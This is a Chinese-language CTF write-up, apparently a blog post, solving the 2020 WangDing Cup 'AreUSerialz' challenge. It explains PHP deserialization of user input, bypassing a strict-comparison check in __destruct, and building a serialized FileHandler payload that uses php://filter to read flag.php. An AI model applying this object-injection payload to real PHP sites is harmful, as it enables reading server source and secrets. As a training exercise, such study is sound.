[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

读题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看到 class FileHandler 有三个变量 op, filename, content。

还注意到这里有一个magic方法中_destruct方法,就像题目AreUSerialz一样,接下来应该涉及到反序列化了。

先看到 process()

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果 op == “1”,对filename进行写操作,如果 op == “2”,则对filename进行读操作,那么等下应该要让 op == “2” 来实现对 flag.php 的读取。

注意这里两个比较都是弱类型比较

然后是_destruct方法

 function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

如果 op === “2”,使 op =“1”,然后赋值content为空,执行 process()。

注意这里的比较是强类型比较

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

再看最底下是通过 ‘str’ 传值,然后 is_valid 判断通过后进行反序列化,这里is_valid就是规定传入的字符ASCII码必须在区间[32,125]内。

理一下思路,传参后会被反序列化,反序列化时会先调用 _destruct 方法,因为传入 op 为 “2” 时会先被 _destruct 方法变为 “1”,所以要实现读操作即 op == “2” 成立就要先绕过 _destruct的干扰, 。

注意实现读操作的 op == “2” 是弱类型比较,也就是这里 2 == “2” 是成立的,而 _destruct的 op === “2” 是强类型比较,在这里 2 === “2” 不成立,也就是绕过了_destruct的干扰。所以 op 为 2 时可以成功实现读操作。

构造解

op = 2

filename = “php://filter/read=convert.base64-encode/resource=flag.php”

伪协议读取flag.php

<?php
    class FileHandler{	
		public $op = 2;
		public $filename= "php://filter/read=convert.base64-encode/resource=flag.php";
		public $content;
	

   }
  	$res = new FileHandler();
  	echo (serialize($res));
?>

这里定义变量用 public 而不是题目的 protected ,因为 protected 序列化出来的结果包含不能通过 is_valid 的字符,而 public 则不会,并且PHP7.1+中对属性类型不敏感,所以可以用 public 替代。

反序列化后得到:

O:11:"FileHandler":3:
{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

传入后成功得到如下结果

image-20210807235030422

base64解码得到flag

image-20210807235123748

总结

  1. 强类型比较 “ === ”,弱类型比较 “ == ”
  2. 反序列化先调用 _destruct 方法
  3. PHP7.1+对属性类型不敏感
  4. protected/private 类型的属性序列化后产生不可打印字符,public则不会
  5. file_get_contents()可以读取php://filter伪装协议

参考链接

[网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程_iamblackcat的博客-CSDN博客

posted @ 2021-08-08 00:21  Hiny0  阅读(122)  评论(0)    收藏  举报